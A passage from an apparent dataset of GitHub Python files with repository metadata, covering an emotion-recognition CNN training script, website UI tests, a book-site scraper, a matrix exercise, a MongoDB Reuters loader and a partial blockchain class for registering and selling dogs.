Loss')\n plt.xlabel('Number of Epochs')\n plt.ylabel('Loss')\n plt.legend(loc='upper right')\n plt.title('Training and Validation Loss: {}'.format(index))\n\n if not final:\n plt.savefig('./CNN_CV/emotion_epochs_a={}_d={}_m={}_l={}_fold_{}_{}.png'.format(alpha0, decay, model_name, layers_back,\n index, time.time()), dpi=fig.dpi, figsize=figure_size)\n else:\n plt.savefig('emotion_epochs_{}.png'.format(time.time()), dpi=fig.dpi, figsize=figure_size)\n\n fig.clear()\n plt.close(fig)\n\n figure_size = (14, 12)\n fig, ((ax, ax2), (ax3, ax4)) = plt.subplots(2, 2, figsize=figure_size)\n\n train_probs = model.predict((images_train - mean) / std)\n train_results = np.argmax(train_probs, axis=1)\n conf_mx = confusion_matrix(labels_train, train_results)\n\n sns.heatmap(conf_mx, annot=True, ax=ax, cbar=False, cmap='binary')\n ax.set_ylim(conf_mx.shape[0] - 0, -0.5)\n ax.set_xlabel('Predicted labels')\n ax.set_ylabel('True labels')\n s = 0\n for i in range(0, np.size(np.unique(classes))):\n s = s + conf_mx[i, i]\n accuracy = s / sum(sum(conf_mx)) * 100\n ax.set_title(index + ' Overall Training Accuracy: {0:.3f}%'.format(accuracy))\n ax.xaxis.set_ticklabels(classes)\n ax.yaxis.set_ticklabels(classes)\n\n test_probs = model.predict((images_test - mean) / std)\n test_results = np.argmax(test_probs, axis=1)\n conf_mx = confusion_matrix(labels_test, test_results)\n\n sns.heatmap(conf_mx, annot=True, ax=ax2, cbar=False, cmap='binary')\n ax2.set_ylim(conf_mx.shape[0] - 0, -0.5)\n ax2.set_xlabel('Predicted labels')\n ax2.set_ylabel('True labels')\n s = 0\n for i in range(0, np.size(np.unique(classes))):\n s = s + conf_mx[i, i]\n accuracy = s / sum(sum(conf_mx)) * 100\n ax2.set_title(index + ' Overall Testing Accuracy: {0:.3f}%'.format(accuracy))\n ax2.xaxis.set_ticklabels(classes)\n ax2.yaxis.set_ticklabels(classes)\n\n if num_classes < 3:\n f1 = f1_score(labels_train, train_results, average='binary', pos_label=positive_index)\n [fpr, tpr, _] = roc_curve(labels_train, train_probs[:, positive_index], pos_label=positive_index)\n labels_temp = np.where(labels_train == positive_index, 1, 0)\n AUC = roc_auc_score(labels_temp, train_probs[:, positive_index])\n\n ax3.plot(fpr, tpr)\n ax3.set_xlabel('False Positive Rate')\n ax3.set_ylabel('True Positive Rate')\n ax3.set_title('Area Under Curve: {0:.3f}, F1 Score: {1:.3f}'.format(AUC, f1))\n\n f1 = f1_score(labels_test, test_results, average='binary', pos_label=positive_index)\n [fpr, tpr, _] = roc_curve(labels_test, test_probs[:, positive_index], pos_label=positive_index)\n labels_temp = np.where(labels_test == positive_index, 1, 0)\n AUC = roc_auc_score(labels_temp, test_probs[:, positive_index])\n\n ax4.plot(fpr, tpr)\n ax4.set_xlabel('False Positive Rate')\n ax4.set_ylabel('True Positive Rate')\n ax4.set_title('Area Under Curve: {0:.3f}, F1 Score: {1:.3f}'.format(AUC, f1))\n else:\n fpr = dict()\n tpr = dict()\n roc_auc = dict()\n for k in range(num_classes):\n fpr[k], tpr[k], _ = roc_curve(labels_test, test_probs[:, k], pos_label=k)\n roc_auc[k] = auc(fpr[k], tpr[k])\n\n # Compute micro-average ROC curve and ROC area\n labels_test_binarized = label_binarize(labels_test, classes=range(0, num_classes))\n fpr[\"micro\"], tpr[\"micro\"], _ = roc_curve(labels_test_binarized.ravel(), test_probs.ravel())\n roc_auc[\"micro\"] = auc(fpr[\"micro\"], tpr[\"micro\"])\n\n all_fpr = np.unique(np.concatenate([fpr[i] for i in range(num_classes)]))\n\n # Then interpolate all ROC curves at this points\n mean_tpr = np.zeros_like(all_fpr)\n for k in range(num_classes):\n mean_tpr += interp(all_fpr, fpr[k], tpr[k])\n\n # Finally average it and compute AUC\n mean_tpr /= num_classes\n\n fpr[\"macro\"] = all_fpr\n tpr[\"macro\"] = mean_tpr\n roc_auc[\"macro\"] = auc(fpr[\"macro\"], tpr[\"macro\"])\n\n f1_micro = f1_score(labels_test, test_results, average='micro')\n f1_macro = f1_score(labels_test, test_results, average='macro')\n\n ax3.plot(fpr[\"micro\"], tpr[\"micro\"])\n ax3.set_xlabel('False Positive Rate')\n ax3.set_ylabel('True Positive Rate')\n ax3.set_title('Micro-average Area Under Curve: {0:.3f}, Micro F1: {1:.3f}'.format(roc_auc[\"micro\"], f1_micro))\n\n ax4.plot(fpr[\"macro\"], tpr[\"macro\"])\n ax4.set_xlabel('False Positive Rate')\n ax4.set_ylabel('True Positive Rate')\n ax4.set_title('Macro-average Area Under Curve: {0:.3f}, Macro F1: {1:.3f}'.format(roc_auc[\"macro\"], f1_macro))\n\n if not final:\n plt.savefig('./CNN_CV/emotion_test_a={}_d={}_m={}_l={}_fold_{}_{}.png'.format(alpha0, decay, model_name, layers_back,\n index, time.time()), dpi=fig.dpi, figsize=figure_size)\n else:\n plt.savefig('emotion_test_{}.png'.format(time.time()), dpi=fig.dpi, figsize=figure_size)\n\n fig.clear()\n plt.close(fig)\n\n if final and num_test_classes > num_classes:\n test_probs = model.predict((images_final_test - mean) / std)\n test_results = []\n for prob in test_probs:\n j = np.argmax(prob)\n if prob[j] > best_hyperparameters['certainty_threshold']:\n re_index = test_classes.index(classes[j])\n test_results.append(re_index)\n else:\n test_results.append(removed_index)\n conf_mx = confusion_matrix(labels_final_test, test_results)\n\n figure_size = (12, 8)\n fig, ax = plt.subplots(1, 1, figsize=figure_size)\n\n sns.heatmap(conf_mx, annot=True, ax=ax, cbar=False, cmap='binary')\n ax.set_ylim(conf_mx.shape[0] - 0, -0.5)\n ax.set_xlabel('Predicted labels')\n ax.set_ylabel('True labels')\n s = 0\n for i in range(0, np.size(np.unique(test_classes))):\n s = s + conf_mx[i, i]\n accuracy = s / sum(sum(conf_mx)) * 100\n ax.set_title(index + ' Overall Testing Accuracy: {0:.3f}%'.format(accuracy))\n ax.xaxis.set_ticklabels(test_classes)\n ax.yaxis.set_ticklabels(test_classes)\n\n plt.savefig('emotion_threshold_test_c={}_{}.png'.format(best_hyperparameters['certainty_threshold'], time.time()),\n dpi=fig.dpi, figsize=figure_size)\n fig.clear()\n plt.close(fig)\n\n if num_classes < 3:\n metric = f1\n else:\n metric = f1_macro\n if resample_flag:\n metric = accuracy/100\n\n return model, metric, mean, std\n\n\ndef cross_val(args):\n alpha0 = args['alpha0']\n decay = args['decay']\n layers_back = args['layers_back']\n\n metrics = []\n k = 1\n for train_indices, test_indices in kf.split(images, y=labels):\n _, metric, _, _ = train_model(images[train_indices], labels[train_indices], images[test_indices],\n labels[test_indices], model_name, image_res[model_name], n_epochs=EPOCHS,\n index=str(k), alpha0=alpha0, decay=decay, layers_back=layers_back)\n tf.keras.backend.clear_session()\n metrics.append(1-metric)\n k += 1\n\n cv_mean = np.mean(metrics)\n\n return cv_mean\n\n\ndef random_search(n_iterations=10):\n best_hyperparameters = {}\n best_mean = 0\n\n cv_means = []\n best_means = []\n for j in range(0, n_iterations):\n\n k = 1\n\n min_exp, max_exp = -3, 0\n exponent = np.random.uniform(min_exp, max_exp)\n alpha0 = 10 ** exponent\n decay = np.random.rand(1)[0] * 0.1 + 0.9\n layers_back = np.random.randint(0, 5)\n # model_name = model_names[np.random.randint(0, 6)]\n\n metrics = []\n for train_indices, test_indices in kf.split(images, y=labels):\n _, metric, _, _ = train_model(images[train_indices], labels[train_indices], images[test_indices],\n labels[test_indices], model_name, image_res[model_name], n_epochs=EPOCHS,\n index=str(k), alpha0=alpha0, decay=decay, layers_back=layers_back)\n tf.keras.backend.clear_session()\n metrics.append(metric)\n k += 1\n\n cv_mean = np.mean(metrics)\n cv_means.append(1-cv_mean)\n if cv_mean > best_mean:\n best_hyperparameters = {'alpha0': alpha0, 'decay': decay, 'layers_back': layers_back}\n best_mean = cv_mean\n best_means.append(1-best_mean)\n\n print(\"{}/{}, best score: {}\".format(j + 1, n_iterations, best_mean))\n\n figure_size = (14, 8)\n fig, ax = plt.subplots(1, 1, figsize=figure_size)\n ax.plot(cv_means, label='Iteration Loss')\n ax.plot(best_means, label='Best Loss')\n plt.legend(loc='upper right')\n ax.set_xlabel('Iteration')\n ax.set_ylabel('Loss')\n\n plt.savefig('emotion_tuning_loss_{}.png'.format(time.time()), dpi=fig.dpi, figsize=figure_size)\n\n fig.clear()\n plt.close(fig)\n\n return best_hyperparameters\n\n\ndef bayesian_search(n_iterations=10):\n space = {'alpha0': 10 ** hp.uniform('alpha0', -4, -2),\n 'decay': hp.uniform('decay', 0.7, 1.0),\n 'layers_back': hp.choice('layers_back', [0]), # hp.randint('layers_back', 3),\n }\n\n # minimize the objective over the space\n trials = Trials()\n best_hyperparameters = fmin(cross_val, space, algo=tpe.suggest, max_evals=n_iterations, trials=trials)\n best_hyperparameters['alpha0'] = 10 ** best_hyperparameters['alpha0']\n\n figure_size = (14, 8)\n fig, ax = plt.subplots(1, 1, figsize=figure_size)\n ax.plot(trials.losses(), label='Iteration Loss')\n trial_mins = [np.min(trials.losses()[:i + 1]) for i in range(0, len(trials.losses()))]\n ax.plot(trial_mins, label='Best Loss')\n plt.legend(loc='upper right')\n ax.set_xlabel('Iteration')\n ax.set_ylabel('Loss')\n\n plt.savefig('emotion_tuning_loss_{}.png'.format(time.time()), dpi=fig.dpi, figsize=figure_size)\n\n fig.clear()\n plt.close(fig)\n\n return best_hyperparameters\n\n\ndef threshold_search(grid_size=10):\n if num_test_classes > num_classes:\n k = 1\n models = {}\n for train_indices, test_indices in kf.split(images, y=labels): # caching cv models to save computation in grid search\n model, _, mean, std = train_model(images[train_indices], labels[train_indices],\n images[test_indices],\n labels[test_indices], model_name, image_res[model_name],\n n_epochs=EPOCHS, final=False,\n alpha0=best_hyperparameters['alpha0'],\n decay=best_hyperparameters['decay'],\n layers_back=best_hyperparameters['layers_back'],\n threshold_check=True)\n tf.keras.backend.clear_session()\n models[str(k)] = {'model': model, 'mean': mean, 'std': std}\n k += 1\n\n certainty_thresholds = np.linspace(1 / num_classes, 1, grid_size)\n best_score = 0\n best_threshold = 1 / num_classes\n for m, certainty_threshold in enumerate(certainty_thresholds):\n print(\"Certainty Threshold: {}\".format(certainty_threshold))\n metrics = []\n k = 1\n for train_indices, test_indices in kf.split(images, y=labels):\n model = models[str(k)]['model']\n mean = models[str(k)]['mean']\n std = models[str(k)]['std']\n\n test_probs = model.predict((images[test_indices] - mean) / std)\n test_results = []\n for prob in test_probs:\n j = np.argmax(prob)\n if prob[j] > certainty_threshold:\n re_index = test_classes.index(classes[j])\n test_results.append(re_index)\n else:\n test_results.append(removed_index)\n conf_mx = confusion_matrix(labels[test_indices], test_results)\n\n figure_size = (12, 8)\n fig, ax = plt.subplots(1, 1, figsize=figure_size)\n\n sns.heatmap(conf_mx, annot=True, ax=ax, cbar=False, cmap='binary')\n ax.set_ylim(conf_mx.shape[0] - 0, -0.5)\n ax.set_xlabel('Predicted labels')\n ax.set_ylabel('True labels')\n s = 0\n for i in range(0, np.size(np.unique(test_classes))):\n s = s + conf_mx[i, i]\n accuracy = s / sum(sum(conf_mx)) * 100\n ax.set_title(str(k) + ' Overall Testing Accuracy: {0:.3f}%'.format(accuracy))\n ax.xaxis.set_ticklabels(test_classes)\n ax.yaxis.set_ticklabels(test_classes)\n\n plt.savefig('./CNN_CV/emotion_threshold_test_c={}_fold_{}_{}.png'.format(certainty_threshold, k,\n time.time()),\n dpi=fig.dpi, figsize=figure_size)\n fig.clear()\n plt.close(fig)\n tf.keras.backend.clear_session()\n\n print(\"Fold {} Accuracy: {}\".format(k, accuracy / 100))\n metrics.append(accuracy / 100)\n k += 1\n\n cv_mean = np.mean(metrics)\n if cv_mean > best_score:\n best_threshold = certainty_threshold\n best_score = cv_mean\n\n print(\"{}/{}, best score: {}, best threshold: {}\".format(m + 1, np.size(certainty_thresholds), best_score, best_threshold))\n\n else:\n best_threshold = 1 / num_classes\n print(\"Setting certainty threshold to default: {}\".format(best_threshold))\n\n return best_threshold\n\n\nif __name__ == '__main__':\n # model_names = [\"emopy\", \"vgg16\", \"vgg19\", \"vggface2\", \"inception_resnet\", \"mobilenet\"]\n model_name = 'emopy'\n\n BATCH_SIZE = 32\n EPOCHS = 100\n n_samples = 2 ** 14\n resample_flag = True\n\n image_res = {'emopy': 48, 'vgg16': 224, 'vgg19': 224, 'vggface2': 224, 'inception_resnet': 299, 'mobilenet': 224}\n preprocess = {'emopy': lambda image: tf.image.rgb_to_grayscale(image) / 255.0,\n 'vgg16': tf.keras.applications.vgg16.preprocess_input,\n 'vgg19': tf.keras.applications.vgg19.preprocess_input,\n 'vggface2': tf.keras.applications.resnet50.preprocess_input,\n 'inception_resnet': tf.keras.applications.inception_resnet_v2.preprocess_input,\n 'mobilenet': tf.keras.applications.mobilenet_v2.preprocess_input}\n\n vggface2path = os.getcwd() + \"\\\\weights.h5\"\n emopypath = os.getcwd() + \"\\\\conv_model_0123456.h5\"\n\n images, labels, images_test, labels_test = read_data()\n i = 0\n images, labels = shuffle_select_process(images, labels, resample_flag)\n images_test, labels_test = shuffle_select_process(images_test, labels_test, resample_flag)\n\n os.chdir(model_path)\n\n n_folds = 3\n n_iterations = 10\n kf = KFold(n_splits=n_folds, shuffle=True)\n best_hyperparameters = bayesian_search(n_iterations)\n # best_hyperparameters = random_search(n_iterations)\n\n best_hyperparameters['certainty_threshold'] = threshold_search(grid_size=20)\n\n model, _, mean, std = train_model(images, labels, images_test, labels_test, model_name, image_res[model_name],\n n_epochs=EPOCHS, final=True, alpha0=best_hyperparameters['alpha0'],\n decay=best_hyperparameters['decay'],\n layers_back=best_hyperparameters['layers_back'])\n\n model.save(\"cnn_model_{}.h5\".format(time.time()))\n\n settings = {\"model\": model_name, \"image_res\": image_res[model_name], \"certainty_threshold\": best_hyperparameters['certainty_threshold'],\n \"feature_mean\": float(mean), \"feature_std\": float(std)}\n with open('cnn_settings_{}.json'.format(time.time()), 'w', encoding='utf-8') as outfile:\n json.dump(settings, outfile, ensure_ascii=False, indent=2)\n\n best_hyperparameters['layers_back'] = int(best_hyperparameters['layers_back'])\n with open('cnn_best_hyperparameters_{}.json'.format(time.time()), 'w', encoding='utf-8') as outfile:\n json.dump(best_hyperparameters, outfile, ensure_ascii=False, indent=2)\n","repo_name":"mfleury89/engagement_detection_emotion_recognition","sub_path":"train_emotion_network.py","file_name":"train_emotion_network.py","file_ext":"py","file_size_in_byte":27041,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"30132842818","text":"\"\"\"Module providingFunction printing python version.\"\"\"\nimport sys\nimport allure\nfrom pages.about_us_page import AboutPage\n\n\n@allure.feature(\"About Us\")\n@allure.story(\"Logo Button\")\ndef test_check_logo_button(driver):\n \"\"\"A dummy docstring.\"\"\"\n with allure.step('Open page'):\n about_page = AboutPage(driver)\n about_page.open()\n about_page.about_us_button.click()\n about_page.logo_button.click()\n get_url = driver.current_url\n if sys.exc_info()[0]:\n driver.get_screenshot_as_file('screenshot.png')\n assert get_url in \"https://www.thesalondecorum.com/\"\n\n\n@allure.feature(\"About Us\")\n@allure.story(\"Image\")\ndef test_check_company_image(driver):\n \"\"\"A dummy docstring.\"\"\"\n with allure.step('Open page'):\n about_page = AboutPage(driver)\n about_page.open()\n about_page.about_us_button.click()\n about_page.logo_button.click()\n assert about_page.company_image.is_displayed()\n\n\n@allure.feature(\"About Us\")\n@allure.story(\"Email\")\ndef test_check_company_email(driver):\n \"\"\"A dummy docstring.\"\"\"\n with allure.step('Open page'):\n about_page = AboutPage(driver)\n about_page.open()\n about_page.about_us_button.click()\n assert about_page.company_email.text in 'thesalondecorum@gmail.com'\n","repo_name":"Kirylchyk/autotests_website","sub_path":"tests/test_2_about_us_page.py","file_name":"test_2_about_us_page.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"24466815275","text":"\nimport requests\nfrom bs4 import BeautifulSoup\ndef getPage():\n list = []\n url = 'https://www.winxuan.com/catalog_book.html'\n res = requests.get(url).text\n soup = BeautifulSoup(res,'html.parser')\n div = soup.find_all('div',class_='all_cate')[0]\n for dd in div.find_all('dd'):\n for aa in dd.find_all('a'):\n tmp = []\n a = aa['href']\n b = aa.text\n res = requests.get(a).text\n soup = BeautifulSoup(res,'html.parser')\n div = soup.find_all('div',class_='sg-commentpage')\n tmp = [a,b]\n list.append(tmp)\n return list\n","repo_name":"xiaoxinyuwen/tushu","sub_path":"getpage.py","file_name":"getpage.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27388534479","text":"# Practical 2.3.0\n\n# Diagonal Sum\n\ndef diagonalSum(mat, n):\n principal = 0\n secondary = 0\n for i in range(0, n):\n for j in range(0, n):\n if (i==j):\n principal += mat[i][j]\n if ((i+j)==(n-1)):\n secondary += mat[i][j]\n print(\"Principal Diagonal Sum:\", principal)\n print(\"Secondary Diagonal Sum:\", secondary)\n\na = [[1, 2, 3, 4],\n[5, 6, 7, 8],\n[1, 2, 3, 4],\n[5, 6, 7, 8]]\nn = len(a)\n\ndiagonalSum(a, n)\n","repo_name":"kjatin669/cs","sub_path":"Sem2/Practical/DAA/Practical-2.3.0.py","file_name":"Practical-2.3.0.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21463777129","text":"import pymongo\nimport sys\nimport re\nimport xml.sax\nimport os\nfrom datetime import datetime\nimport xmltodict\nimport json\nfrom io import StringIO\nimport xml.etree.ElementTree as ET\n\n\"\"\"Crear conexión con mongo\"\"\"\ndef conexionBD(nombre_coleccion):\n con = pymongo.MongoClient()\n db=con.proyecto3\n record1=db.create_collection(nombre_coleccion)\n return record1\ndef conexionBDexistente(nombre_coleccion):\n con = pymongo.MongoClient()\n db=con.proyecto3\n record1= pymongo.collection.Collection(db, nombre_coleccion)\n return record1\n\n''' extrae los datos del array llamado D'''\ndef cleanList(i,Key):\n if i[Key] is not None:\n if 'D' in i[Key]:\n temp = i[Key]['D']\n del i[Key]['D']\n i.update({Key:temp})\n\n#en consola mongoDB es: db.[Nombre de la coleccion].find({'TOPICS': 'sugar','PLACES': 'indonesia'},{ '_id': 0, '@NEWID': 1, 'TEXT.TITLE':1}) \ndef busqueda1(base):\n print('\\n',\"======= Busqueda 1: TOPICS que contienen sugar, PLACES que contienen indonesia =======\", '\\n', '------------------------------------------------------' )\n query = base.find({'TOPICS': 'sugar','PLACES': 'indonesia'},{ '_id': 0, '@NEWID': 1, 'TEXT.TITLE':1})\n for x in query:\n print(x['@NEWID'], \": \", x['TEXT']['TITLE'], '\\n', '------------------------------------------------------' )\n#en consola mongoDB es: db.[Nombre de la coleccion].find({ '$text': { '$search': \"\\\"coffee\\\" \\\"colombia\\\"\" } },{ '_id': 0, '@NEWID': 1, 'TEXT.TITLE':1})\ndef busqueda2(base):\n print('\\n',\"======= Busqueda 2: BODY que contienen colombia y coffee =======\", '\\n', '------------------------------------------------------' )\n query = base.find({ '$text': { '$search': \"\\\"coffee\\\" \\\"colombia\\\"\" } },{ '_id': 0, '@NEWID': 1, 'TEXT.TITLE':1})\n for x in query:\n print(x['@NEWID'], \": \", x['TEXT']['TITLE'], '\\n', '------------------------------------------------------' )\n\n'''funcion que lee los archivos xml y los carga a mongodb'''\ndef xmlTOjson(path,contenido,base):\n documentos=[]\n for filename in contenido:\n if filename.endswith('.xml'):\n archivo=os.path.join(path,filename)\n with open(archivo,encoding='utf-8', errors='ignore') as f:\n xmlreader=f.read()\n doc=xmltodict.parse(xmlreader)\n doc = doc['COLLECTION']['REUTERS']\n for i in doc:\n if 'MKNOTE' in i:\n del i['MKNOTE']\n if 'UNKNOWN' in i:\n del i['UNKNOWN']\n cleanList(i,'PLACES')\n cleanList(i,'TOPICS')\n cleanList(i,'PEOPLE')\n cleanList(i,'ORGS')\n cleanList(i,'EXCHANGES')\n \n jsonString = json.dumps(doc, indent=4)\n parsed=json.loads(jsonString)\n base.insert(parsed)\n print(\"Datos cargados.\")\n return documentos\n\n'''crea indices para los campos solicitados en la coleccion '''\ndef crearIndices(base):\n base.create_index([(\"TOPICS\",pymongo.ASCENDING)])\n base.create_index([(\"PLACES\",pymongo.ASCENDING)])\n base.create_index([(\"PEOPLE\",pymongo.ASCENDING)])\n base.create_index([(\"ORGS\",pymongo.ASCENDING)])\n base.create_index([(\"EXCHANGES\",pymongo.ASCENDING)])\n base.create_index([(\"TEXT.TITLE\",pymongo.TEXT),(\"TEXT.BODY\",pymongo.TEXT)])\n print(\"Indices creados\")\n \n\ndef main(ruta):\n path= ruta\n contenido = os.listdir(ruta)\n nombre_coleccion=input(\"Ingrese el nombre de la coleccion: \")\n try:\n DBconn=conexionBD(nombre_coleccion)\n documentos= xmlTOjson(path,contenido,DBconn)\n except:\n print(\"Coleccion con ese nombre ya existe, corriendo busquedas\")\n DBconn = conexionBDexistente(nombre_coleccion)\n crearIndices(DBconn)\n busqueda1(DBconn)\n busqueda2(DBconn)\n \nmain('C:\\\\Users\\\\Alejandro\\\\Desktop\\\\proyecto3_mongo\\\\reuters21578')\n","repo_name":"ferAlvarado/proyecto3_mongo","sub_path":"proyecto3_BD.py","file_name":"proyecto3_BD.py","file_ext":"py","file_size_in_byte":3958,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15612279466","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[3]:\n\n\nimport hashlib\nimport json\nfrom time import time\nfrom urllib.parse import urlparse\nimport requests\n\n####### block generation & its principle\n# 블록체인 클래스 생성\n# 해당 클래스는 server.ipynb에서 실제 블록체인 프레임(블록체인 함수및 구조)로 사용됨.\nclass Blockchain(object):\n # initialize the blockchain info\n def __init__(self):\n self.chain = [] # 블록체인의 빈 체인 생성(리스트)\n self.current_transaction = [] # 블록체인의 빈 현재 트랜잭션 생성(리스트)\n self.nodes = set() # 가입된 노드 생성(set = 동적 리스트)\n # genesis block\n self.new_block(previous_hash=1, proof=100) \n # 블록체인 생성시 반드시 맨 처음 블록도 같이 생성되어야 하기 때문에 맨 처음 블록 생성\n \n # 마이닝의 결과로 새로운 블록 생성시 만들어지는 블록 \n def new_block(self,proof,previous_hash=None):\n block = {\n 'index': len(self.chain)+1, # 생성된 블록의 인덱스 = 블록의 마지막 인덱스 + 1의 값\n 'timestamp': time(), # timestamp from 1970\n 'transaction': self.current_transaction, # 생성된 블록에 저장된 트랜잭션\n 'proof': proof, # 마이닝을 하기 위해서 다른 블록 값들과 넣어지는 nonce(논스)값\n 'previous_hash': previous_hash or self.hash(self.chain[-1]) # 이전 블록의 해쉬값.혹은 처음 체인에서의 블록 해쉬값\n }\n self.current_transaction = [] # 현재 트랜잭션 - 딕셔너리\n self.chain.append(block) # 체인에 위에서 입력한 블록정보를 추가함.\n return block\n # 트랜잭션 키와 값을 받아서 해당 트랜잭션을 출력하는 함수(키는 두개를 받을수 있고, 두개를 받을 경우 각각의 입력값이 \n # 등록된 값과 동일해야 트랜잭션을 반환. 아님 None을 반환한다.)\n def search_transaction(self,insertkey,insertvalues,insertkey2=None,insertvalues2=None):\n for i in range(len(self.chain)):\n # block들의 transaction을 조회\n block=self.chain[i]\n transaction=block.get('transaction')\n for n in range(len(transaction)):\n value01=transaction[n].get(insertkey)\n if value01 == insertvalues:\n if insertkey2 == None:\n return transaction\n else:\n if transaction[n].get(insertkey2) == insertvalues2:\n return transaction\n else :\n continue\n return None\n # 해당 key에 대한 values가 존재하면 해당 트랜잭션을 출력. \n \n # 사용자가 해당 서비스를 이용한 분양시, 그 거래에 대한 트랜잭션\n def new_transaction_transaction(self, buyer, seller, dog_info, price,transactioncode): \n self.current_transaction.append(\n {\n 'buyer': buyer, # 구매자 email id - 스트링\n 'seller': seller, # 판매자 email id - 스트링\n 'dog_info': dog_info, # 강아지 정보 - 딕셔너리\n 'price': price, # 판매 가격 - 스트링\n 'transactioncode' : transactioncode # 거래 코드 \n }\n )\n self.current_transaction.append(\n {\n 'owner': buyer, # 구매됨으로써 현재의\n 'dog_info': dog_info # 강아지 정보 - 딕셔너리\n }\n )\n return self.last_block['index']+1\n # 사용자가 서비스 가입시 사용자의 id와 비밀번호를 네트워크에 등록하는 함수\n def new_transaction_registerid(self, idcode, idname,emailid , idpw): \n self.current_transaction.append(\n {\n 'idcode': idcode, # 사용자 관련 칼럼\n 'idname': idname, # 사용자 이름\n 'emailid': emailid, # 사용자 이메일 아이디\n 'idpw': idpw, # 사용자 암호\n }\n )\n return self.last_block['index']+1\n \n # 개의 정보로 저장하기 위한 함수 \n def get_dog_information(self,email_id, owner,name, sex, species,url):\n dog_info = {\n 'ownerid':email_id,#이메일 아이디(로그인 정보를 담고있는 범용DB와 연결되는 칼럼)\n 'owner':owner, # 소유자 이름\n 'name':name, # 강아지 이름\n 'sex' : sex, # 강아지 성별\n 'species': species, # 강아지 종\n 'url': url, # s3서버 이미지 url\n }\n # GET으로 넘겨주는 정보 출력\n print('%s' %email_id) \n print('%s' %owner)\n print('%s' %sex)\n print('%s' %species)\n print('%s' %url)\n return dog_info\n\n # 개 정보 등록 함수\n def new_registration_dog (self, owner, dog_info,img_hash):\n global dog_info_exist\n dog_info_exist = 1 \n if dog_info_exist == 1:\n self.current_transaction.append(\n {\n 'owner': owner, \n 'dog_info': dog_info,\n 'img_hash' : img_hash\n }\n )\n return self.last_block['index'] + 1\n else:\n return self.last_block['index']\n \n # 해당 노드를 블록 체인 서버에 등록(풀노드)\n def register_node(self, address):\n parsed_url = urlparse(address)\n # 가입 노드에 대한 \n self.nodes.add(parsed_url.netloc) # netloc attribute! network lockation\n # 유효한 체인인지 검사하는 함수.\n def valid_chain(self,chain):\n # 큐로 생각하여 가장 처음에 넣어진 체인의 블록은 체인의 맨 처음에 위치함.\n # 현재 블록(last_block)의 해쉬값과 다음 블록의 이전 해쉬값(previous_hash)값을 비교하여 해당 체인이 유효한지\n # 검사.\n last_block = chain[0]\n # 맨 처음에 제네시스 블록의 해시값과 이전 블록에서의 해시값을 비교하는 작업으로 시작됨으로 체인의 제네시스 블록을 \n # 해시값을 비교할 마지막 블록으로 설정\n current_index = 1\n # 해당 체인의 길이만큼 순차대로 검사.\n while current_index < len(chain):\n # 순차대로 체인의 블록\n block = chain[current_index]\n print('%s' % last_block)\n print('%s' % block)\n print(\"\\n---------\\n\")\n # check that the hash of the block is correct(해당 블록의 이전 해쉬값과 실제 업데이트되있는 마지막 블록의 \n # 해쉬값을 비교) 만약 맞지 않을 경우, 해당 체인은 유효하지 않음.\n if block['previous_hash'] != self.hash(last_block):\n return False\n # 현재 블록을 마지막 블록으로 바꾸고 다음 블록의 이전 해쉬값과 비교하며 검사\n last_block = block\n # 현재 체인의 인덱스를 1 높임.\n current_index += 1\n return True\n\n def request_update_chain(self):\n # 마이닝 이후 반드시 실행되는 함수. 마이닝을 하여 블록을 블록체인에 넣어둔 노드를 기준으로 모든 노드들을 \n # 자신이 추가한 블록까지 업데이트하는 함수\n neighbours = self.nodes\n # 해당 블록체인 네트워크에 등록된 다른 노드들\n for node in neighbours:\n tmp_url = 'http://' + str(node) + '/nodes/resolved'\n # 다른 노드들을 업데이트하도록 설정합니다.\n response = requests.get(tmp_url)\n if response.status_code == 200:\n # 다른 노드들이 자신의 체인으로 업데이트되었는지에 대한 응답을 받습니다.\n print(\"response : \"+response.json()['message'])\n # 각 노드들에 대한 메세지를 응답받아 그것을 출력하는 명령어\n print(\"All node update my chain\")\n # 모든 노드들이 업데이트되었다는 것을 출력하는 명령어\n return True\n \n \n def resolve_conflicts(self):\n # 블록 생성후 체인에 블록을 넣고나서 해당 노드에서의 체인이 유효한지를 검사하고 \n # 각 노드들의 체인을 검사하여 해당 노드의 체인의 길이가 더 길고, 유효한 체인이 검증되면\n neighbours = self.nodes\n # 해당 블록체인 네트워크에 등록된 다른 노드들\n new_chain = None\n # 업데이트될 체인\n # 처음에는 나의 체인이 제일 최신 체인으로 생각하여 None으로 초기화\n\n max_length = len(self.chain) \n # Our chain length \n for node in neighbours:\n # 각 다른 노드들의 체인을 비교해가며 다른 노드의 체인의 길이가 더 길고,\n # 그 노드의 체인이 유효하다면 해당 노드의 체인으로 업데이트한뒤, 응답으로 True를 return\n tmp_url = 'http://' + str(node) + '/chain'\n # 다른 노드들을 순차적으로 server파일에 있는 함수를 호출하여 해당 노드의 체인을 검사 것이며, \n # 체인을 응답받는 url\n response = requests.get(tmp_url)\n # 해당 노드의 체인의 길이를 응답받음.\n if response.status_code == 200:\n # 응답이 정상적으로 수행되었을 시, 조건문 진입\n length = response.json()['length']\n # 응답받은 json형식의 출력에서 해당 노드의 체인 길이를 length 지역 변수에 할당.\n chain = response.json()['chain']\n # 응답받은 json형식의 출력에서 해당 노드의 체인을 지역 변수에 할당\n if length > max_length and self.valid_chain(chain):\n # 만약 검사하는 노드의 체인 길���가 가장 최신의 체인이여서 해당 체인의 길이가 함수를 수행하는 노드의 \n # 체인 길이보다 길어진 경우, 그리고 해당 노드의 체인이 유효한 경우\n max_length = length\n # 가장 긴 길이를 해당 길이로 업데이트함.\n new_chain = chain\n # 해당 체인으로 업데이트할 체인에 할당.\n continue\n # new_chain이 바뀌었다면 다시 반복문으로 돌아감.\n if new_chain:\n # 최종적으로 나의 체인의 길이가 가장 긴 최신 체인을 new_chain에 할당한 경우\n self.chain = new_chain\n # new_chain의 체인을 나의 체인으로 업데이트함.\n return True\n # 해당 체인으로 대체되었으므로 True를 반환.\n return False\n # 만약 나의 체인이 가장 최신이였어서 new_chain이 None으로 남게된 경우\n # 나의 체인은 